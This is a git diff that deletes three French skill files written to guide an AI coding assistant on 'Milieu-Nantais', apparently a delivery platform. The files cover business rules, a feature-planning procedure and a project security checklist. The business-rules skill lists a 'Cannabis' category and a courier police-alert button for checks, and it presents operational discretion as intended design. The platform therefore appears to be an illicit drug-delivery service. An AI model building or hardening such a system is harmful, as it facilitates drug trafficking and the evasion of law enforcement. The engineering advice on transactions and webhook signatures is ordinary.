Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d9688acbc2 | ||
|
|
d7d7496a66 | ||
|
|
f2f537a194 | ||
|
|
91745636ec | ||
|
|
181147e3bf | ||
|
|
624df79974 | ||
|
|
42ed11bc22 | ||
|
|
6fca16a58c | ||
|
|
a35031b2a1 | ||
|
|
96e7d33739 | ||
|
|
01ac0626be | ||
|
|
6c88ec0cc7 | ||
|
|
62b4ac1866 | ||
|
|
6cc303c59c | ||
|
|
40cbb41dec | ||
|
|
149040391d | ||
|
|
b8ccb55653 | ||
|
|
3949701dd2 | ||
|
|
d8073bdc46 | ||
|
|
5ee979fcc3 | ||
|
|
30eebd12d2 | ||
|
|
f469e52c32 | ||
|
|
de075a8fe3 | ||
|
|
53f6a1bb1a | ||
|
|
bf718c5b13 | ||
|
|
6f150710d1 | ||
|
|
8d34f531a5 | ||
|
|
5d2f9aa05d | ||
|
|
22c7a7b8d8 | ||
|
|
632c851f9c | ||
|
|
b0fbd5e5fc | ||
|
|
62ad698ea6 | ||
|
|
c99d913d94 | ||
|
|
46652bb925 | ||
|
|
b9073954f1 | ||
|
|
7b11e138d2 | ||
|
|
e82ad3ae4d | ||
|
|
ef7166c2dd | ||
|
|
4916e74d1c | ||
|
|
3023227a29 | ||
|
|
3149989286 | ||
|
|
b8fddc51c2 | ||
|
|
32a60b4476 | ||
|
|
c6830873ba | ||
|
|
5c84dfed66 | ||
|
|
7618954a86 | ||
|
|
7313063cd9 | ||
|
|
190a845383 | ||
|
|
3a87eff949 | ||
|
|
22a8d5026c | ||
|
|
c034088bee | ||
|
|
536bce4625 | ||
|
|
5ac824be81 | ||
|
|
28b9491338 | ||
|
|
1ebd19b797 | ||
|
|
5d92316093 | ||
|
|
26cd84a334 | ||
|
|
e8c79e40ec | ||
|
|
cefebf0b43 | ||
|
|
0caa96e633 | ||
|
|
47cf7cfd76 | ||
|
|
95784de527 | ||
|
|
0067ec2234 | ||
|
|
c5f3a293f9 | ||
|
|
acda6f72fb | ||
|
|
0cfd6f392e | ||
|
|
189a414321 | ||
|
|
28149689fb | ||
|
|
37f8165920 | ||
|
|
c0a3b16f12 | ||
|
|
13bba226d6 | ||
|
|
9dba774344 | ||
|
|
b0071780fc | ||
|
|
f791801956 | ||
|
|
4f6d26c14c | ||
|
|
ed68d237c3 | ||
|
|
184f224125 | ||
|
|
47ff590aa0 | ||
|
|
0687171cf3 | ||
|
|
b0aba29150 | ||
|
|
80bc862f6a | ||
|
|
46202df927 | ||
|
|
c9909022fe | ||
|
|
78193604da | ||
|
|
7a9530069b | ||
|
|
74bb299099 | ||
|
|
153780073f | ||
|
|
a6bc62b6e6 | ||
|
|
48e6cbcb4c | ||
|
|
c7d43e7641 | ||
|
|
3a70a6f4c7 | ||
|
|
c471a2a734 | ||
|
|
6d4e0862ff | ||
|
|
3a0f725159 | ||
|
|
3c92a0371f | ||
|
|
ad8ecbe452 | ||
|
|
0835c06d8b | ||
|
|
27558d7651 | ||
|
|
ee0abcd223 | ||
|
|
d13a980447 |
@@ -1,158 +0,0 @@
|
||||
---
|
||||
name: comprehension-metier
|
||||
description: Charge le modèle métier complet de la plateforme de gestion de commandes/livraison (rôles, cycle de vie des commandes, stock, catalogue, points/récompenses, parrainage, pénalités, paiements, GPS/assignation, alertes, paramètres configurables). À invoquer avant toute analyse, debug ou modification qui touche à la logique métier — pas seulement au code — pour raisonner avec les vraies règles du business plutôt qu'avec des hypothèses.
|
||||
---
|
||||
|
||||
# Compréhension métier — Plateforme de gestion de commandes/livraison
|
||||
|
||||
Référence condensée mais complète du domaine, construite à partir du `README.md`, des modèles Go (`models/`) et du code des handlers/DB. Objectif : éviter de raisonner uniquement "à partir du code" sans connaître les règles métier réelles, ce qui est la source la plus fréquente de bugs silencieux dans ce projet (stock, remboursements, idempotence, paramètres codés en dur au lieu de suivre `AppSettings`).
|
||||
|
||||
## Contexte général
|
||||
|
||||
Plateforme de commande + livraison ("Milieu-Nantais", contact Telegram `MLN44LA`) avec catalogue produit par catégories (ex. pools de points nommés "Cannabis", "Accessoires" dans les settings par défaut), paiement cash ou crypto, livreurs géolocalisés avec assignation automatique, et un livreur dispose d'un bouton d'alerte police en cas de contrôle/danger pendant une livraison. Cette nature du produit (aucune auto-inscription client, alerte police, paiement crypto natif, pénalités dissuasives sur annulation tardive) doit rester présente à l'esprit : les règles de sécurité et de discrétion opérationnelle (VPN, filtrage des données sensibles pour les livreurs, pas de traces inutiles) sont volontaires, pas accidentelles.
|
||||
|
||||
## Rôles et permissions
|
||||
|
||||
| Rôle | Description | Peut faire |
|
||||
|------|-------------|------------|
|
||||
| **client** | Utilisateur final | Panier, checkout, suivi commande, approuver/annuler, parrainage, points/récompenses, profil, 2FA |
|
||||
| **admin** | Gestion complète | Tout : produits, clients, commandes, livreurs, cabine, pénalités, paramètres globaux, reset stats |
|
||||
| **livreur** | Livreur assigné | Voir ses livraisons (données client filtrées), changer statut, position GPS, queue, alerte police, notifications |
|
||||
| **cabine** | Cuisine/préparation | Voir items commande, préparer/emballer, assigner livreur, confirmer réception, pénalités client, alertes |
|
||||
|
||||
Règles clés (dont certaines issues du changelog sécurité v5.4.0) :
|
||||
- **Aucune auto-inscription** — les comptes clients sont créés **uniquement par un admin** (`POST /api/v2/admin/protected/clients`). Un nouvel endpoint d'inscription libre serait une régression de sécurité majeure.
|
||||
- **Création de comptes admin entièrement bloquée côté application** — un compte `admin` ne peut être créé qu'en base de données directement, jamais via l'API, quel que soit le rôle appelant (y compris un autre admin).
|
||||
- **`cabine` n'a plus aucun droit de création d'utilisateurs ou de clients** (retiré côté backend en v5.4.0) — seul `admin` crée des comptes `livreur` ou `cabine`.
|
||||
- JWT séparés par famille de rôle : secret client (`USER_JWT_SECRET`, expiration 5h) ≠ secret admin/livreur/cabine (`ADMIN_JWT_SECRET`, expiration 10h/2h selon contexte).
|
||||
- Chaque action livreur doit vérifier que la commande lui est **assignée** (`livreur_assign == usernameStr`), pas seulement le rôle.
|
||||
- **Filtrage des données sensibles** : les livreurs ne reçoivent jamais le téléphone du client dans `GET /livreur/deliveries` — uniquement nom/prénom. Tout nouvel endpoint livreur exposant des données client doit respecter ce filtrage.
|
||||
|
||||
## Cycle de vie d'une commande
|
||||
|
||||
```
|
||||
pending → assigned → en_route → arrived → livre → approved
|
||||
↓ ↓ ↓ ↓
|
||||
cancelled (depuis presque tous les états — jamais depuis approved, jamais deux fois de suite)
|
||||
```
|
||||
|
||||
- `pending` : créée au checkout, en attente d'assignation livreur (auto-assign GPS au checkout, ou worker CRON toutes les 1 minute, ou assignation manuelle admin/cabine).
|
||||
- `assigned` : livreur choisi, pas encore parti. Le livreur peut aussi être réassigné manuellement (admin/cabine).
|
||||
- `en_route` : livreur en chemin (`start` puis mise à jour de statut). ETA calculée (TomTom, fallback Haversine) et stockée dans Redis (`command:eta:{id}`), utilisée pour les notifications Telegram avec ETA.
|
||||
- `arrived` : livreur à destination — déclenché par le livreur (GPS), ou par admin/cabine via bouton "Le livreur est là" (`notify-client`). Notifie le client (Telegram). **Timer 5 minutes** démarre côté app livreur (`frontend-admin`, `DashboardScreen.tsx`, `ABSENT_TIMEOUT_SECS = 300`) → si le client ne descend pas, bouton **"Client absent"** apparaît.
|
||||
- `livre` : livraison confirmée. Deux voies : validation GPS livreur (distance ≤ 100m de la destination, coordonnées obligatoires) via `PUT /livreur/deliveries/:id/status`, ou override admin/cabine (`force-validate`/statut direct). En attente d'approbation client pour finaliser.
|
||||
- `approved` : finalisée. Déclenché par le client (`POST /commands/:id/approve` avec note + commentaire livreur), ou admin/cabine (`confirm-reception`/statut direct en override). Points de fidélité attribués **à ce moment précis**, jamais avant (`CalculateAndAddPointsForCommandTx`, même transaction que le passage en `approved`). **Terminal** — plus aucune modification de stock ou de statut après.
|
||||
- `cancelled` : peut survenir depuis quasiment tous les états précédents. Jamais depuis `approved`, jamais une seconde fois depuis `cancelled` (idempotence obligatoire).
|
||||
- `pending_payment` : statut intermédiaire spécifique au paiement crypto (voir section Paiements) — pas dans le cycle "normal", bascule vers `pending` (paiement confirmé) ou `cancelled` (paiement échoué/expiré).
|
||||
|
||||
**Trois chemins de code différents pour l'annulation** : `CancelCommandAtomic` (client), `UpdateDeliveryStatus`/branche `cancelled` (livreur — inclut le flux "client absent"), `UpdateCommandStatusAdmin` (admin/cabine). Toute règle métier touchant l'annulation (remboursement stock, pénalité, notification) doit être répercutée dans les **trois**, plus `CancelCryptoCommand` pour le cas crypto.
|
||||
|
||||
**Correction d'adresse** : si une adresse ne peut pas être géocodée ou est jugée invalide, un flux de proposition existe (`adresse_correction` table, `invalid_address` → `correct_address`) — le client peut répondre à une proposition (`POST /commands/:id/address/respond`), l'admin peut modifier l'adresse directement (`PUT /orders/:id/address`).
|
||||
|
||||
## Produits, catalogue et tarification
|
||||
|
||||
- Un produit (`products`) a un `stock` en **float** (pas un entier — permet des unités fractionnaires/dosages), une `unit`, une ou plusieurs catégories, un flag `coming_soon` (produit visible mais pas encore commandable), et des médias (images).
|
||||
- **Prix par quantité** (`product_prices`) : chaque palier de quantité a son propre prix et un flag `active_price`. Un prix désactivé (`active_price = false`) n'est **pas supprimé** — juste masqué. Les endpoints publics/client ne renvoient que les prix actifs ; `admin` et `cabine` voient tous les prix (actifs et inactifs) pour la gestion complète. Le frontend filtre aussi côté client par sécurité (`filter(p => p.active_price !== false)`).
|
||||
- Désactiver un prix dans l'UI admin (retirer un prix existant) doit désactiver, pas supprimer — cohérence avec l'historique des commandes passées qui référencent ce prix.
|
||||
|
||||
## Panier et stock
|
||||
|
||||
- Le panier (`baskets`) vérifie le stock disponible à l'ajout (`AddToBasket`, rejet si insuffisant) mais ne le réserve pas au sens strict (pas de verrou tant que l'article reste dans le panier) — le stock réel n'est **décrémenté qu'à la validation de la commande** (checkout), dans une transaction unique avec la création de la commande et le vidage du panier.
|
||||
- Un modèle `StockInfo` distingue `Quantity` (stock brut), `Reserved` (quantité présente dans des paniers actifs, à titre indicatif) et `Available` (`Quantity - Reserved`) — utilisé pour l'affichage admin, pas comme mécanisme de réservation dur.
|
||||
- **Articles récompense** (`is_reward = true`, obtenus via le système de points, prix affiché = 0€ mais valeur indicative dans `RewardItem.Price`) : ce sont des produits physiques réellement distribués. **Le stock doit être décrémenté pour eux comme pour un article payant**, et remboursé de la même façon en cas d'annulation. Ne jamais les exclure du décompte de stock — seule leur tarification (débit en points au lieu d'euros) diffère.
|
||||
- **Symétrie obligatoire** : toute décrémentation de stock doit avoir un chemin de remboursement, et vice-versa, **pour tous les articles sans exception** (récompense ou non). Une asymétrie désynchronise durablement le stock affiché de la réalité physique — c'est la classe de bug la plus dangereuse et la plus difficile à détecter de ce projet (corruption silencieuse, cumulative, visible seulement des semaines plus tard).
|
||||
- Toute commande annulée deux fois (retry réseau, double-tap, ou canaux différents pour la même commande) ne doit rembourser le stock **qu'une seule fois** → nécessite un statut "already cancelled" idempotent vérifié **dans** une transaction verrouillée (`FOR UPDATE`), pas une simple vérification préalable hors transaction.
|
||||
- Créer la commande + insérer les items + décrémenter le stock + vider le panier doivent être **une seule transaction** — sinon une commande "fantôme" (créée mais jamais payée en stock) peut survivre à un échec de décrément, puis être annulée plus tard et rembourser un stock jamais consommé.
|
||||
|
||||
## Paramètres globaux configurables (`AppSettings`)
|
||||
|
||||
Presque toutes les règles business ci-dessous sont **pilotées par un objet de settings unique**, modifiable par l'admin (`GET/PUT /api/v2/admin/protected/settings`) — ne jamais coder en dur une valeur qui existe déjà comme champ de `AppSettings` :
|
||||
|
||||
| Domaine | Champs | Notes |
|
||||
|---|---|---|
|
||||
| Pénalités | `PenaltiesEnabled`, `ShowAmendeScore`, `PenaltyTiers[]` | Tiers par défaut : 0→20€, 1→50€, 2→100€, 3→150€ (voir section Pénalités) |
|
||||
| Points | `PointsEnabled`, `PointsPools[]`, `PointsReward` | Pools par défaut : "Pool 1"/"Pool 2" avec barèmes différents (voir section Points) |
|
||||
| Parrainage | `ReferralEnabled`, `ReferralAmount` | Montant crédité par défaut = 0 (doit être configuré par l'admin) |
|
||||
| Paiement crypto | `CryptoPaymentEnabled`, `CryptoOnly`, `NowPaymentsAPIKey`, `NowPaymentsIPNSecret`, `NowPaymentsCurrencies[]` | `CryptoOnly = true` désactive le cash |
|
||||
| Livraison | `DeliverySchedule` (horaires par jour), `PostalZones[]` (nom, minimum de commande, codes postaux), `DeliveryMode` | Voir sections dédiées |
|
||||
| Telegram | `TelegramBotToken`, `TelegramBotUsername`, `TelegramNotificationsEnabled`, `Telegram2FAEnabled` | |
|
||||
| Vitrine | `ShopName` (def. "Milieu-Nantais"), `ContactTelegram` (def. "MLN44LA"), couleurs admin/client, dégradé titre | Purement cosmétique |
|
||||
|
||||
Toute nouvelle règle configurable doit suivre ce même modèle (ajout d'un champ `AppSettings` + valeur par défaut dans `DefaultSettings()`) plutôt qu'une constante Go.
|
||||
|
||||
## Système de points et récompenses (multi-pool)
|
||||
|
||||
- **Plusieurs "pools" de points** peuvent coexister, chacun associé à un sous-ensemble de catégories de produits (`PointsPool.Categories`) et avec son propre barème (`Tiers` : palier de montant dépensé → points gagnés, ex. 30–50€ → 1 point, 401€+ → 10 points). Un même achat peut alimenter un pool différent selon la catégorie du produit acheté.
|
||||
- Les points cumulés par pool sont stockés hors table `clients` classique (`points_extra`/`points_redeemed`, champs calculés `gorm:"-"`) — lus via `GetClientPointsAndRewards`.
|
||||
- **Récompense globale par seuil** (`PointsReward`) : un seuil de points (`Threshold`) débloque une récompense, dont l'éligibilité est filtrée par catégorie/produits (`CategoryConfigs`) **par pool** (seules les catégories appartenant au pool comptent). Le nombre de récompenses disponibles = `points_du_pool / Threshold - déjà_réclamées`.
|
||||
- **Réclamation** (`POST` claim, `ClaimMyReward`) : ajoute les `RewardItems` définis (produit + quantité) au panier avec `is_reward = true` et `reward_pool_key` renseigné — c'est le seul mécanisme qui produit des articles récompense. Consomme une unité de récompense disponible pour ce pool (`points_redeemed` incrémenté).
|
||||
- L'admin peut réinitialiser les récompenses réclamées d'un client pour un pool donné (`AdminResetClientRedeemed`).
|
||||
|
||||
## Parrainage (parrain/filleul)
|
||||
|
||||
- Un client peut être parrainé par un autre (`clients.parrain`). Lier un parrain + créditer le crédit de parrainage (`referral_balance`, montant = `AppSettings.ReferralAmount`) doit être **atomique** (une seule transaction) — sinon un crédit peut être appliqué sans lien enregistré ou l'inverse.
|
||||
- Le crédit de parrainage se débite au checkout (`DebitReferralBalance`) et doit respecter le minimum de la zone de livraison **après** déduction du crédit (le panier effectif payé doit rester ≥ minimum de la zone du code postal, `PostalZones`).
|
||||
- Si le checkout échoue après débit du crédit (paiement crypto refusé, création de commande en échec), le crédit doit être **recrédité** (`CreditClientReferral`) — sinon perte sèche pour le client.
|
||||
- Le système peut être entièrement désactivé (`ReferralEnabled = false`) — vérifier ce flag avant d'exposer une action de parrainage.
|
||||
|
||||
## Pénalités clients (amendes)
|
||||
|
||||
- Amendes **client uniquement**, jamais de pénalité livreur. Stockées dans `clients.amende`, avec compteur `cancellations_count` et `last_penalty_reason`.
|
||||
- Barème progressif **configurable** (`AppSettings.PenaltyTiers`, fallback interne si settings illisibles) — défaut : 1ère annulation 20€, 2ème 50€, 3ème 100€, 4ème+ 150€. Le montant appliqué = `penaltyForCount(cancellations_count, PenaltyTiers)`.
|
||||
- Le système entier peut être désactivé (`PenaltiesEnabled = false`) — dans ce cas le middleware `BlockClientIfPenalty` laisse passer sans vérification.
|
||||
- **Blocage du checkout** : tant que `amende > 0`, le middleware `BlockClientIfPenalty` bloque toute tentative de checkout (403), avec un cache de la pénalité en session Redis (`PenaltyCache`) pour éviter une lecture DB à chaque requête. Message standard invite à contacter le shop via Telegram pour régulariser.
|
||||
- **Sources d'amende** :
|
||||
- Client annule sa propre commande (`ApplyCancellationPenalty`, incrémente `cancellations_count`).
|
||||
- Livreur marque le client absent depuis le statut `arrived` (bouton "Client absent", `issue_type: client_absent`) → `ApplyCancellationPenalty` appliqué automatiquement au **client**, jamais au livreur.
|
||||
- Admin peut appliquer une pénalité manuelle arbitraire (`POST /admin/protected/penalty`, montant et raison libres) — indépendante du barème progressif.
|
||||
- "Annulation tardive" (règle spécifique au flux client `CancelCommandAtomic`, distincte du flux "client absent" livreur) = livreur déjà assigné ET (statut `en_route`/`arrived` OU ETA valide déjà définie en Redis). Sans livreur assigné ou sans ETA valide → annulation sans pénalité.
|
||||
|
||||
## Mode d'assignation des livreurs
|
||||
|
||||
- `DeliveryMode.Mode` : `"single"` (un seul pool de livreurs, toutes catégories confondues — mode par défaut) ou `"category_based"` (chaque livreur est routé uniquement vers les commandes contenant les catégories qui lui sont assignées, via `CategoryRoutes`).
|
||||
- En mode `category_based`, l'auto-assignation GPS doit filtrer les livreurs éligibles par catégorie **avant** de calculer les distances — une commande mixte (catégories de livreurs différents) est un cas limite à traiter explicitement si cette fonctionnalité est étendue.
|
||||
|
||||
## GPS, auto-assignation et ETA
|
||||
|
||||
- **Géocodage** : Nominatim (OpenStreetMap), résultat caché 7 jours (`geocode:cache:{hash}`).
|
||||
- **Distance à vol d'oiseau** : formule Haversine, calculée localement, aucun appel externe.
|
||||
- **ETA avec trafic réel** : TomTom Routing API. **Rotation automatique jusqu'à 3 clés** (`TOMTOM_API_KEY_1/2/3`) — en cas de quota dépassé (403/429), bascule automatique sur la clé suivante sans interruption ; si toutes les clés sont épuisées, fallback sur estimation Haversine + vitesse moyenne 30 km/h (flag `fallback_used: true` dans la réponse).
|
||||
- **Auto-assignation** : au checkout (immédiate si un livreur est disponible) et via un worker CRON toutes les 1 minute pour les commandes restées `pending`. Sélectionne le livreur disponible le plus proche avec de la capacité ; si tous sont à capacité maximale, le système peut forcer l'assignation.
|
||||
- **Capacité de queue** : jusqu'à **10 commandes** par livreur. Un livreur `offline` ne reçoit aucune commande.
|
||||
- Position GPS livreur stockée dans Redis (`delivery:location:{username}`, TTL 2h) et diffusée en temps réel via Redis Pub/Sub (`channel:position_updates`) pour la carte client/admin.
|
||||
- Liens de navigation générés vers Google Maps / Waze / Apple Maps / OSM / Bing / Here, pour le livreur comme pour l'admin (supervision).
|
||||
|
||||
## Paiements
|
||||
|
||||
- **Cash** (par défaut, sauf si `CryptoOnly = true`) : le livreur encaisse à la livraison, aucun flux électronique.
|
||||
- **Crypto** (NowPayments) : commande passe en `pending_payment` en attendant confirmation. Le webhook IPN (`POST /webhooks/nowpayments`) est **public** mais signé HMAC-SHA512 (`x-nowpayments-sig`) — vérifier la signature avant tout traitement, jamais faire confiance au contenu brut. Statuts `finished`/`confirmed` → activent la commande (repasse en `pending`, entre dans le cycle normal) ; `failed`/`expired` → annulent et remboursent stock + crédit parrainage.
|
||||
- Le stock est décrémenté **dès la création de la commande crypto** (avant confirmation du paiement) — une commande crypto non payée réserve quand même le stock pendant la fenêtre de paiement, et le libère si elle expire/échoue.
|
||||
- `CryptoPaymentEnabled = false` désactive complètement l'option crypto au checkout ; `CryptoOnly = true` la rend obligatoire.
|
||||
|
||||
## Alertes police (sécurité opérationnelle livreur)
|
||||
|
||||
- Un livreur peut déclencher une **alerte police** à tout moment (`POST /livreur/alert`, message optionnel) — notifie immédiatement tous les admins et cabine (`NotifyAllAdminCabineAlert`). C'est un bouton de sécurité personnelle, pas lié à une commande précise.
|
||||
- Les alertes peuvent être supprimées par le livreur qui les a créées ou par un admin.
|
||||
|
||||
## Notifications et 2FA
|
||||
|
||||
- **Telegram uniquement** — les push Expo sont abandonnées (v5.4.0). Clients, livreurs, admins lient leur compte via un token à usage unique (TTL court, ex. 5 min).
|
||||
- Types de notifications : `assigned`, `en_route` (avec ETA), `arrived`, `livre`, `ready_pickup` (cabine), `address_proposal`.
|
||||
- 2FA (client) : nécessite Telegram lié + activation admin globale (`Telegram2FAEnabled`) + toggle personnel du client. Code 6 chiffres, `session_token` TTL 5 min, rate-limité (429 après trop de tentatives).
|
||||
- Le système de notifications peut être désactivé globalement (`TelegramNotificationsEnabled = false`).
|
||||
|
||||
## Infrastructure (contexte pour évaluer l'impact d'un changement)
|
||||
|
||||
- Serveurs séparés reliés par VPN WireGuard privé (`10.0.0.0/24`) : `vpn-uber` (jump host), `monitoring-uber` (Wazuh/Dozzle/Beszel), `backup-mln` (MinIO S3 + ClamAV), `bdd-redis-prod` (PostgreSQL + Redis, **jamais exposé publiquement**), `prod-uber` (backend + WAF, seul serveur public sur 80/443).
|
||||
- PostgreSQL et Redis accessibles uniquement via IP VPN (`10.0.0.5`) depuis `prod-uber` — **latence réseau non négligeable**, d'où l'importance de grouper les requêtes (batch inserts, requêtes `IN`, parallélisation des stats déjà faites dans ce projet).
|
||||
- WAF nginx + ModSecurity (OWASP CRS) devant l'API en prod ; logs nginx/ModSecurity montés sur l'hôte pour collecte Wazuh.
|
||||
- Déploiement : push sur `pre-prod` → CI build image Docker (`xor1234/backend-mln:pre-prod`) → déploiement SSH.
|
||||
- Workers automatiques : auto-assignation (1 min), nettoyage queues (5 min), mise à jour ETA (30 s), nettoyage stock (5 min).
|
||||
|
||||
## Erreurs passées à ne pas reproduire (mémoire vive du projet)
|
||||
|
||||
- Vider le panier **avant** de décrémenter le stock (au lieu d'une seule transaction) → stock jamais décrémenté en pratique.
|
||||
- Restaurer le stock sans vérifier le statut précédent dans une transaction verrouillée → double remboursement sur double-annulation (le livreur avait ce bug, l'admin ne l'avait pas — incohérence entre chemins de code équivalents).
|
||||
- Créer la commande + insérer les items **avant** la transaction de décrément de stock → commande fantôme si le décrément échoue (stock insuffisant détecté trop tard), qui peut ensuite être annulée et rembourser un stock jamais consommé.
|
||||
- Exclure les articles récompense du décompte de stock sans les exclure aussi du remboursement (ou l'inverse) → asymétrie, stock qui dérive. Règle définitive validée par l'équipe : **les récompenses décrémentent et remboursent le stock exactement comme un article payant**.
|
||||
- Coder en dur une valeur métier (barème de pénalité, montant de parrainage, seuil de points) qui existe déjà comme champ configurable dans `AppSettings` — toujours lire les settings, ne jamais dupliquer une constante.
|
||||
@@ -1,64 +0,0 @@
|
||||
---
|
||||
name: plan-fonctionnalite
|
||||
description: À invoquer avant d'implémenter toute nouvelle fonctionnalité ou modification significative de logique métier sur ce projet. Produit un plan détaillé (compréhension métier, sécurité, impact données, concurrence, tests) à valider avec l'utilisateur avant d'écrire du code — n'implémente rien tant que le plan n'est pas approuvé.
|
||||
---
|
||||
|
||||
# Plan de développement de fonctionnalité
|
||||
|
||||
Ce skill encadre le développement de toute fonctionnalité non triviale sur ce projet. Règle centrale : **pas de code avant un plan validé par l'utilisateur**, sauf si la demande est un pur bug fix local déjà bien compris (dans ce cas, ce skill ne s'applique pas — voir "Quand ne pas utiliser ce skill").
|
||||
|
||||
## Étape 0 — Charger le contexte
|
||||
|
||||
Avant de rédiger le plan :
|
||||
1. Invoquer/relire le skill `comprehension-metier` pour ancrer le raisonnement dans les vraies règles du domaine (rôles, cycle de vie commande, stock, parrainage, pénalités, paiements).
|
||||
2. Repérer le(s) rôle(s) concerné(s) par la fonctionnalité (client / admin / livreur / cabine) et les fichiers existants correspondants (`handlers/`, `db/`) pour ne pas dupliquer un mécanisme déjà présent.
|
||||
3. Si la demande est ambiguë sur une règle métier (ex: "qui peut faire X", "est-ce que ça affecte le stock"), poser la question plutôt que de supposer.
|
||||
|
||||
## Étape 1 — Rédiger le plan
|
||||
|
||||
Utiliser `EnterPlanMode` si l'outil est disponible pour ce tour ; sinon présenter le plan en texte structuré et attendre confirmation explicite avant de coder. Le plan doit couvrir, dans cet ordre :
|
||||
|
||||
### 1. Résumé fonctionnel
|
||||
Quoi, pour qui, pourquoi — en une ou deux phrases orientées métier (pas techniques).
|
||||
|
||||
### 2. Rôles et permissions
|
||||
- Qui déclenche l'action, qui peut la voir, qui peut l'annuler/modifier.
|
||||
- Nouveau endpoint ? → préciser le middleware d'auth (client vs admin/livreur/cabine) et la vérification de propriété de ressource.
|
||||
|
||||
### 3. Impact sur les données
|
||||
- Nouvelles colonnes/tables ? Migration nécessaire (`ALTER TABLE ... IF NOT EXISTS` dans `db_init.go`, cohérent avec le style existant du projet).
|
||||
- Tables existantes affectées, et sens des colonnes touchées (stock, solde, statut, compteur).
|
||||
|
||||
### 4. Flux détaillé
|
||||
- Étapes séquencées, y compris les statuts intermédiaires si la fonctionnalité touche au cycle de vie d'une commande.
|
||||
- Effets de bord obligatoires à tracer explicitement : stock (décrément/remboursement symétriques, y compris articles récompense), points de fidélité, solde de parrainage, pénalités, notifications Telegram.
|
||||
|
||||
### 5. Sécurité (voir skill `securite-projet` pour le détail)
|
||||
- Validation d'entrée (bornes, whitelist de statuts, longueur).
|
||||
- Requêtes paramétrées uniquement.
|
||||
- Si paiement ou webhook externe impliqué : vérification de signature avant traitement.
|
||||
- Pas de nouveau chemin d'auto-inscription ou de contournement d'autorisation.
|
||||
|
||||
### 6. Concurrence et atomicité
|
||||
- Cette action peut-elle être rejouée (double-tap, retry réseau, webhook dupliqué) ? Si oui : mécanisme d'idempotence explicite (vérifier l'état courant avant d'agir, retourner un succès idempotent plutôt qu'une erreur ou un double effet).
|
||||
- Lecture-puis-décision-puis-écriture sur une valeur partagée (stock, solde) ? → transaction unique avec `FOR UPDATE`, jamais une suite d'appels séparés.
|
||||
- Toute création d'enregistrement (commande, paiement) doit être dans la **même transaction** que ses effets de bord critiques (décrément stock, débit solde) — pas de risque d'enregistrement "fantôme" si une étape suivante échoue.
|
||||
|
||||
### 7. Plan de test
|
||||
- Cas nominal.
|
||||
- Cas limite métier (stock insuffisant, solde insuffisant, commande déjà dans l'état cible, ressource appartenant à un autre utilisateur).
|
||||
- Cas de concurrence si pertinent (double-tap simulé, deux requêtes quasi simultanées).
|
||||
- Comment vérifier après implémentation (`go build`, `go vet`, test manuel via `/verify` ou l'app si UI concernée).
|
||||
|
||||
### 8. Points ouverts
|
||||
Toute question métier ou technique non tranchée, à soumettre explicitement à l'utilisateur plutôt que de trancher seul par défaut.
|
||||
|
||||
## Étape 2 — Validation puis implémentation
|
||||
|
||||
Ne commencer l'implémentation qu'après retour explicite de l'utilisateur sur le plan. Si l'utilisateur ne modifie rien, considérer le plan tel quel comme approuvé. Implémenter ensuite en suivant fidèlement les sections Sécurité et Concurrence du plan — elles ne sont pas optionnelles une fois validées.
|
||||
|
||||
## Quand ne pas utiliser ce skill
|
||||
|
||||
- Bug fix ponctuel et bien circonscrit (ex: correction d'une requête, d'un typo, d'une regression déjà diagnostiquée) où un plan formel ajouterait de la friction sans valeur — corriger directement.
|
||||
- Modification purement cosmétique (style, renommage local, commentaire).
|
||||
- Le skill s'applique dès qu'une action touche : un nouveau statut ou transition de commande, un flux d'argent ou de points, une nouvelle route API, ou un changement de permission.
|
||||
@@ -1,46 +0,0 @@
|
||||
---
|
||||
name: securite-projet
|
||||
description: Checklist de sécurité spécifique à ce projet (JWT multi-rôles, 2FA Telegram, webhook crypto NowPayments, VPN, WAF, création de comptes admin-only). À invoquer avant de merger tout code touchant à l'authentification, aux paiements, aux endpoints admin/livreur/cabine, ou à l'infrastructure serveur — en complément du skill générique security-review, pas à sa place.
|
||||
---
|
||||
|
||||
# Sécurité — spécifique à ce projet
|
||||
|
||||
Cette checklist complète (ne remplace pas) le skill générique `security-review`. Elle encode les règles de sécurité **propres à cette plateforme**, qui ne sont pas détectables par une revue générique OWASP.
|
||||
|
||||
## Authentification et autorisation
|
||||
|
||||
- **Deux familles de JWT strictement séparées** : `USER_JWT_SECRET` (client) et `ADMIN_JWT_SECRET` (admin/livreur/cabine). Ne jamais faire valider un token d'une famille par le middleware de l'autre.
|
||||
- Sessions actives trackées dans Redis (`session:{token}`, TTL 5h client / 2h admin) — la révocation d'un token doit supprimer la clé Redis correspondante, pas seulement compter sur l'expiration JWT.
|
||||
- **Aucun endpoint d'auto-inscription client** ne doit exister. Si une tâche demande d'ajouter un moyen de créer un compte client hors du panel admin, c'est un signal d'alerte à soulever explicitement avant d'implémenter.
|
||||
- Pour tout nouvel endpoint livreur/cabine : vérifier le rôle **et** la propriété de la ressource (`livreur_assign == username`), jamais le rôle seul. C'est l'erreur la plus fréquente dans ce code : un livreur authentifié valide ne doit agir que sur ses propres commandes.
|
||||
- 2FA : le `session_token` de vérification (TTL 5 min) et le code à 6 chiffres doivent rester **rate-limités** (429 après trop de tentatives) — ne jamais retirer ce rate limiting pour "simplifier" un flux.
|
||||
|
||||
## Paiements crypto (NowPayments)
|
||||
|
||||
- Le webhook `POST /api/v1/webhooks/nowpayments` est un endpoint **public** par nécessité (appelé par NowPayments, pas par un utilisateur authentifié). Sa seule protection est la vérification **HMAC-SHA512** de l'en-tête `x-nowpayments-sig` — ne jamais traiter un payload dont la signature ne vérifie pas, quel que soit le contenu.
|
||||
- Ne jamais faire confiance à un statut de paiement transmis par le client (ex: un champ `payment_status` dans une requête utilisateur) — seul le webhook signé ou un appel serveur-à-serveur à l'API NowPayments (`GetPaymentStatus`) fait foi.
|
||||
- Toute transition `pending_payment → cancelled` doit être gardée par une vérification du statut courant (`WHERE status = 'pending_payment'`) pour éviter un double remboursement de stock si le webhook est reçu plusieurs fois (NowPayments peut renvoyer le même événement).
|
||||
|
||||
## Requêtes base de données
|
||||
|
||||
- Toutes les requêtes utilisent des paramètres liés GORM (`?` binding) — **jamais** de concaténation de chaînes dans une requête `Raw`/`Exec`, y compris pour des valeurs qui semblent "internes" (statuts, IDs). Une seule exception acceptable : les noms de colonnes/tables provenant d'une liste blanche fixe dans le code, jamais d'une entrée utilisateur.
|
||||
- Toute opération qui lit puis modifie un compteur/solde partagé (stock, solde de parrainage, compteur d'annulations) doit se faire dans une transaction avec `FOR UPDATE` si une décision (ex: "stock suffisant ?") dépend de la valeur lue — sinon condition de course exploitable (survente, sur-crédit).
|
||||
